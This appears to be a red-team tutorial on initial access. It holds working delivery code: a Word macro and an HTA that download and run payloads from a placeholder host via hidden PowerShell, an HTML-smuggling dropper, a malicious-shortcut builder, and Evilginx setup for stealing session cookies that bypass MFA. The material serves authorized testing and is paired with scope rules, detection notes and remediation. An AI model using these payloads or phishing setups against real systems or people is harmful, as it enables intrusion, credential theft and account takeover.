19 min read

Red Team

Initial Access Techniques

Getting initial access is often the most challenging part of a red team engagement. Modern defenses require creative payload delivery and social engineering.

Authorization boundary — who may be phished

Phishing, payload delivery and every technique on this page require explicit written authorization naming the target users, the sending infrastructure and the payloads. The target list is the part that goes wrong: an engagement that authorizes "finance" does not authorize a mail to the CFO's assistant, and a payload delivered to a user outside the list is an unapproved compromise of a real person's mailbox. Test payloads against the agreed scope only, never against a mailbox you were not given permission to contact, and stop delivering the moment the client's own awareness team starts responding.

Phishing Pretexts

Information

Good pretexts create urgency, authority, or curiosity without being obviously malicious.

A pretext fails for one of two reasons: it is not plausible for the role you are writing to, or it asks for something the recipient has no reason to do. Both are about context, not wording. A "password expires today" mail works on a service-desk user who resets passwords all day and fails on an engineer who has not changed one in a year. Read the target's public material first — job adverts, conference talks, supplier names — and write the mail from something they already expect to receive.

What the defender sees: the mail gateway judges the sending domain's reputation, SPF/DKIM/DMARC alignment and the age of the domain, not the prose. A perfect pretext sent from a two-day-old domain fails the technical checks your writing cannot influence. The SOC then sees clicks, proxy logs for the landing page, and the resulting process tree.

Effective Pretexts

  • • IT security updates
  • • Password expiration
  • • Shared documents
  • • Invoice/payment issues
  • • Meeting invitations
  • • HR policy updates

Poor Pretexts

  • • Nigerian prince
  • • Lottery winnings
  • • Unrelated to business
  • • Obvious urgency
  • • Generic content
  • • Grammar errors

Payload Delivery Methods

Delivery is a chain, and each link can break the whole thing: the attachment has to survive the mail gateway, the container has to survive the endpoint's Mark-of-the-Web and attachment policy, the user has to take the final action, and the resulting process has to be allowed to reach your C2. The methods below are ordered roughly by how much of that chain they still get through on a current Windows 11 build.

Office Macros

Warning

Macros are blocked by default in Office for any file carrying Mark-of-the-Web, and many organisations block unsigned VBA outright through policy. Still effective in legacy environments and where the client has re-enabled macro execution.

The working shape of a macro is small: fetch, write, run. The example below is a complete Document_Open handler for a Word document — it downloads a payload over HTTPS, writes it to the user's temp directory through an ADODB.Stream, and starts it with a hidden window through WScript.Shell. It runs when the document opens, before the user has interacted with anything. Save the document as .doc (or .docm) in the Visual Basic editor, in ThisDocument; AutoOpen in a standard module is the legacy equivalent and still works in older builds.

ThisDocument.cls
' Word: Alt+F11 -> ThisDocument, then paste. Save as .doc / .docm
Private Sub Document_Open()
    Dim http As Object, stream As Object
    Dim path As String

    path = Environ("TEMP") & "\upd.exe"

    Set http = CreateObject("MSXML2.ServerXMLHTTP.6.0")
    http.Open "GET", "https://yourdomain.example/payload.bin", False
    http.Send

    If http.Status = 200 Then
        Set stream = CreateObject("ADODB.Stream")
        stream.Type = 1                 ' binary
        stream.Open
        stream.Write http.responseBody
        stream.SaveToFile path, 2       ' 2 = overwrite existing file
        stream.Close
        CreateObject("WScript.Shell").Run path, 0, False   ' 0 = hidden window
    End If
End Sub

Three things make this fail in practice, and all of them are worth testing for rather than assuming: the file inherits Mark-of-the-Web when it is downloaded or extracted from an archive, so Word opens it in Protected View and the macro never runs; the VBA project is unsigned, so the Trust Center shows a security bar; and the payload URL is a categorised domain, so the download itself is either blocked or logged. Substituting the network call for a built-in command does not help — Shell "powershell ..." is one of the most signatured lines in VBA.

What the defender sees: VBA is scanned by AMSI at runtime, so the code above is visible to Defender as an AMSI payload even if the file never touched disk; process creation shows WINWORD.EXE as the parent of the dropped executable, which no legitimate document does; and the follow-on egress to a freshly-categorised domain closes the loop. Alternatives that avoid VBA entirely: VBA stomping (the compiled _VBA_PROJECT stream runs while the source shown in the editor is benign), Excel 4.0 (XLM) macros in .xls, and .xll add-ins — each with its own block policy.

HTA Files

An HTA is an HTML document executed by mshta.exe, which is a signed Windows binary that runs VBScript or JScript without a browser sandbox. It has no macro policy to defeat: a double-clicked .hta runs, and mshta can also fetch the file over HTTP, which makes it a useful second stage when the attachment is only a link. mshta.exe's presence on modern Windows is itself the trade-off — application-control policies and most EDRs alert on it, so it is a technique for environments that have not got round to blocking it.

update.hta
<html>
<head>
  <title>Document Viewer</title>
  <HTA:APPLICATION ID="oApp" WINDOWSTATE="minimize" SHOWINTASKBAR="no" SYSMENU="no" />
  <script language="VBScript">
    Sub Window_onLoad
      Dim sh
      Set sh = CreateObject("WScript.Shell")
      sh.Run "powershell -nop -w hidden -c ""iex (New-Object Net.WebClient).DownloadString('https://yourdomain.example/s.ps1')""", 0, False
      window.close
    End Sub
  </script>
</head>
<body>
  <p>Loading document...</p>
</body>
</html>
deliver-hta.txt
# Deliver as an attachment, or host it and hand over just the URL
mshta http://yourdomain.example/update.hta

ISO/IMG Containers

An ISO is still a useful delivery container, but not for the reason it was popular between 2020 and 2022. The original trick was that Windows mounted the image and treated its contents as local files, with no Mark-of-the-Web — so SmartScreen, Protected View and macro blocking never applied. That changed in Windows 11 22H2: mounted images now propagate Mark-of-the-Web to the files inside, so an ISO no longer launders the mark and an Office file extracted from one is blocked exactly as a downloaded one would be. What remains is packaging: a volume that looks like removable media, a shortcut that reads as the document, and a decoy PDF that opens normally.

The shortcut does the work. Point its target at cmd.exe, keep the arguments quiet, and give it an icon from shell32.dll so it renders as a folder or document. A user who double-clicks it sees the decoy open and has no obvious reason to report anything.

build-iso.sh
# Create the ISO on Linux (genisoimage is the same tool under its old name)
mkisofs -J -o payload.iso ./iso_contents/

# Contents:
#   payload.exe    the implant, renamed to look like an installer
#   invoice.lnk    shortcut -> cmd.exe /c start /b payload.exe, folder icon
#   invoice.pdf    the decoy the user actually expects to open

What the defender sees: an image mount (ImDisk/Mount-DiskImage or the shell mount verb) immediately followed by execution from a new drive letter, and — on 22H2 and later — files inside the mount carrying the zone identifier. A shortcut on removable media launching cmd.exe is a well-known pattern in Defender's attack-surface-reduction rules.

HTML Smuggling

Tip

HTML smuggling bypasses email gateways by assembling payloads client-side using JavaScript.

The attachment is an HTML file that carries the payload as base64 text, and the browser assembles it into a file at click time. No gateway sees an executable because none crosses the wire: the mail filter reads base64, the proxy sees an HTML page, and the browser writes the binary. This is the most reliable of the delivery methods here on a patched Windows 11 client, because nothing it does is blocked by default — the payload still inherits Mark-of-the-Web on save, which is why the smuggled file is usually a container (ISO, archive) or a script rather than a bare executable.

invoice.html
<!doctype html>
<html>
<body>
  <p>Preparing your document...</p>
  <script>
    // base64 of the payload; chunked so no single long line trips a content scanner
    var b64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAA" +
              "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    var bin = atob(b64);
    var bytes = new Uint8Array(bin.length);
    for (var i = 0; i < bin.length; i++) { bytes[i] = bin.charCodeAt(i); }

    var blob = new Blob([bytes], { type: "application/octet-stream" });
    var a = document.createElement("a");
    a.href = URL.createObjectURL(blob);
    a.download = "Update_2026.exe";
    document.body.appendChild(a);
    a.click();
    a.remove();
  </script>
</body>
</html>

Generate the base64 with base64 -w0 payload.bin and split it into chunks; leave the blob type as application/octet-stream so the browser does not try to render it. Tools that automate the template: smuggler, Outflank's HTML-Smuggling, or your own build step. Delivery vectors are the same as any attachment — a phishing mail, a compromised page, a fake download portal — and the browser's download prompt is the only user interaction required.

DLL Sideloading

Windows resolves a DLL by searching the application's own directory before System32 for most non-KnownDLL libraries. If a signed executable loads a DLL by name and that DLL is missing from its folder, dropping your DLL next to the executable gets your code loaded by a process that already has a valid signature and a familiar name. That is the whole technique: find the missing import, implement it, and forward everything to the real library so the application keeps working.

Find candidates with Process Monitor: filter on Result is NAME NOT FOUND and Path ends with .dll, and look for a probe from the application's own directory rather than from System32. Common pairs are OneDrive, Teams and Slack plus a system-looking version.dll or cryptsp.dll. The DLL itself needs every export the executable expects — forward them in the .def file (OriginalFunc = realdll.OriginalFunc) and run your code from DllMain.

What the defender sees: Sysmon event 7 (image loaded) showing an unsigned DLL loaded into a signed process from a user-writable path, and a signed binary executed from outside its install directory. Both are high-signal and cheap to alert on, so sideloading is best used against hosts whose application-control policy does not enforce DLL signing.

OneNote Exploitation

A .one section can embed an arbitrary file as an object, and OneNote will offer to run it on double-click behind a warning. The social-engineering part is the usual one: place a screenshot that says "double-click to view" over the embedded object, so the click looks like opening a document preview rather than launching a program.

Treat this as a legacy path. Microsoft has progressively hardened it — current OneNote builds warn on, and for a growing list of extensions block, embedded-file execution, so a delivered .one often produces a warning the user will not click through. Verify the behaviour on the target's actual OneNote build during the engagement's reconnaissance rather than assuming it works; if you need a method that survives a patched client, the HTML smuggling path above is a better bet.

LNK Files

A shortcut is only a container for a command line, which makes it the quietest way to deliver a payload: no macro prompt, no executable attached, and the target can point at a signed binary such as cmd.exe or powershell.exe. Shortcuts are usually paired with the ISO container so they arrive as a document rather than as a mail attachment. The PowerShell below builds one with a hidden window and a folder icon.

new-lnk.ps1
$obj  = New-Object -ComObject WScript.Shell
$link = $obj.CreateShortcut("C:\temp\invoice.lnk")
$link.WindowStyle  = 7                                            # Minimized
$link.TargetPath   = "C:\Windows\System32\cmd.exe"
$link.Arguments    = "/c start /b powershell -w hidden -nop -ep bypass -c IEX(...)"
$link.IconLocation = "C:\Windows\System32\shell32.dll,1"        # Folder icon
$link.Save()

The arguments matter more than the shortcut: start /b detaches the child so the console does not linger, -w hidden removes the PowerShell window, and -ep bypass avoids the execution-policy prompt for a script written to disk. Each of those is also a detection, which is why the current default is to skip PowerShell entirely and point the shortcut at a signed binary that loads your payload itself.

Phishing Frameworks

A framework buys you campaign management — templates, targets, tracking, landing pages — not deliverability. Deliverability is the sending domain: a dedicated domain with SPF, DKIM and DMARC aligned to the pretext will land where a brand-new one will not, and that work happens outside the tool.

Gophish

Gophish is the default choice for credential-harvest and awareness campaigns: an SMTP sending profile, an email template with tracking, a landing page, imported targets, and per-campaign reporting on opens, clicks and submitted data. Run it on the same infrastructure as the redirectors, keep the admin panel off the internet, and check that the tracking URL is not a domain the target's proxy already blocks.

gophish-setup.sh
# Install Gophish
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
./gophish

# Admin panel: https://localhost:3333
# Default creds are printed to the terminal on first start — change them immediately

# Campaign setup:
# 1. Sending profile (SMTP, with the domain's SPF/DKIM already in place)
# 2. Email template
# 3. Landing page
# 4. Import users
# 5. Launch campaign

Evilginx

Evilginx is a reverse proxy that sits between the user and the real identity provider, so the user completes a genuine login and the tool captures the resulting session cookie. That is what defeats TOTP and push-based MFA: the second factor is satisfied on the real site, and the stolen cookie replays it. It needs a domain, a valid certificate, and a phishlet matching the target IdP's current login flow — phishlets break whenever the provider changes its page, so test before the campaign, not during it.

evilginx-setup.txt
# Install
git clone https://github.com/kgretzky/evilginx2
cd evilginx2
make

# Run
./evilginx -p ./phishlets

# Configure (inside the evilginx prompt)
: config domain yourdomain.com
: config ip YOUR_IP
: phishlets hostname microsoft365 login.yourdomain.com
: phishlets enable microsoft365
: lures create microsoft365

# Generate the phishing URL
: lures get-url 0

What the defender sees: the credential is correct and the MFA was satisfied, so the login looks legitimate from the IdP's point of view. The signals are elsewhere — a new ASN or country for the session, a device the tenant has never seen, and mail-flow rules or MFA-method changes made minutes after the login. Conditional Access policies that bind tokens to a compliant device, or that block legacy session reuse, are what actually catches this; a user-awareness mail is not.

Scope note — session tokens are credentials

A captured session cookie is a working credential for that user, with every right the user has, and it keeps working after the user closes the browser. Reuse it only against the systems named in the engagement, and only for as long as it takes to demonstrate the impact — then invalidate it by revoking the user's sessions with the client's identity team. Storing captured cookies beyond the engagement, or replaying one against a production application the client excluded, turns a control test into an incident that you caused.

External Service Exploitation

When the objective includes the perimeter rather than the mailbox, initial access comes from an unpatched public-facing appliance. The practical difference from phishing is that this is reconnaissance-led: the version matters more than the exploit, because an appliance two patch levels behind is the finding, and the CVE is only how you prove it. Check the exposed inventory first — VPN concentrators, edge mail, file-transfer appliances and web frameworks — and match it against known exploited vulnerabilities rather than spraying exploit code.

Target class Representative CVE Why it is still seen
SSL VPN appliances CVE-2021-22893, CVE-2022-40684, CVE-2023-3519 Appliances are patched on a slower cycle than servers
Exchange CVE-2021-26855, CVE-2021-34473, CVE-2022-41082 On-premises Exchange is still in scope in most internal tests
Java / Spring web apps CVE-2021-44228, CVE-2022-22965 Dependency trees are rarely fully inventoried
Any exposed admin interface Default or reused credentials No CVE required — check the login before the exploit

Confirm the version before you fire anything: most of the CVEs above have safe detection paths (a version banner, a harmless request that returns a patched/unpatched marker), and an exploit against an already-patched appliance is both wasted effort and a very loud event in the client's logs. Record the patch level you found — "the appliance was two versions behind" is the finding the report needs, regardless of whether the exploit succeeded.

Scope note — exploiting a public appliance

Perimeter exploitation is the one technique on this page that can take a production service down, and the appliance is usually the client's VPN or mail gateway. Before firing anything, confirm in writing that this host may be exploited rather than fingerprinted, that a maintenance window and a rollback owner exist, and that exploitation will not persist — no webshell left behind, no credential changed. If the objective can be met with a version banner and a harmless probe, meet it that way and report the patch level.

Evidence Collection

Initial access is the finding the client will try to disprove, because accepting it means accepting that a user clicked. Capture the delivery, the click and the resulting process as three separate artefacts that the mail gateway, the proxy and the endpoint each recorded independently.

Message trace: The mail gateway's message-trace ID for the campaign mail, plus the raw headers of one received copy — that is what proves the sending domain, the SPF/DKIM/DMARC result and the exact recipient list.

Click and submission: The Gophish/Evilginx campaign timestamp for the user who clicked, the landing-page hit in the proxy log, and the session cookie or submitted form data captured, with the time it was captured.

Endpoint result: The process record for the payload: image, path, parent (WINWORD.EXE, mshta.exe, explorer.exe), user, and the command line. This is the artefact that ties the mail to code execution.

Payload identity: SHA-256 of the delivered file as sent, and of the second stage if one was fetched. A file that only exists in the sent mail cannot be re-tested after the fix.

Outcome boundary: Where you stopped, and what you deliberately did not do — no persistence, no mailbox rule, no data read. State it in the finding; it bounds the client's incident response.

False Positive Identification

Awareness teams and gateways generate most of the noise here, and their signals look exactly like a successful delivery.

  • Click without execution: A recorded click means the link was followed, not that anything ran. If the endpoint shows no child process and no new file, the finding is a policy gap, not a compromise.
  • Sandbox detonation: The mail gateway detonating the attachment produces a submission from an internal address with no user behind it. Check whether the "submitter" is a real mailbox before reporting a user action.
  • Internal simulation: Most enterprises run their own phishing simulations. Ask for the awareness-team campaign log before attributing a submission to your engagement — the two genres of mail arrive in the same week.
  • Blocked but logged: A gateway block is a control working, and it appears in the same trace as a delivered message. Distinguish "blocked" from "delivered and ignored" before writing severity.

Delivery Checklist

Run this per campaign, not per engagement — the answers change with the target group.

Before sending

  • ☐ Target list exported from the authorized scope, and reconciled against it line by line
  • ☐ Sending domain has SPF, DKIM and DMARC aligned to the pretext
  • ☐ Landing page and payload tested against the client's actual browser and EDR build
  • ☐ Mail-gateway and SOC contacts briefed on the sending domain and the window

After sending

  • ☐ Every click matched to a real mailbox and a real process record
  • ☐ Captured credentials and cookies stored encrypted, with the capture time recorded
  • ☐ Users who clicked identified to the client by name, with the evidence reference
  • ☐ Delivered-but-unexecuted attempts reported as policy findings

Remediation

What the client can actually do about this

Close the delivery path

  • • Enforce DMARC (p=reject) on the client's own domains and surface lookalike-domain registrations through CT monitoring.
  • • Attachment and link detonation in the gateway, with macro execution from internet-origin files blocked by policy rather than by user choice.
  • • Application control (WDAC/AppLocker) so an unsigned loader dropped by a document cannot execute, whatever the document did.
  • • Block `mshta.exe` and Office child-process creation through ASR rules — both are single-switch controls with high coverage.

Make the click survivable

  • • Phishing-resistant MFA (FIDO2 or certificate-based) and Conditional Access bound to a compliant device, which defeats the reverse-proxy capture on this page.
  • • Token protection / session-binding so a stolen cookie cannot be replayed from another device.
  • • Mailbox audit rules and OAuth consent alerts, so a successful login is caught at the follow-on action rather than at the click.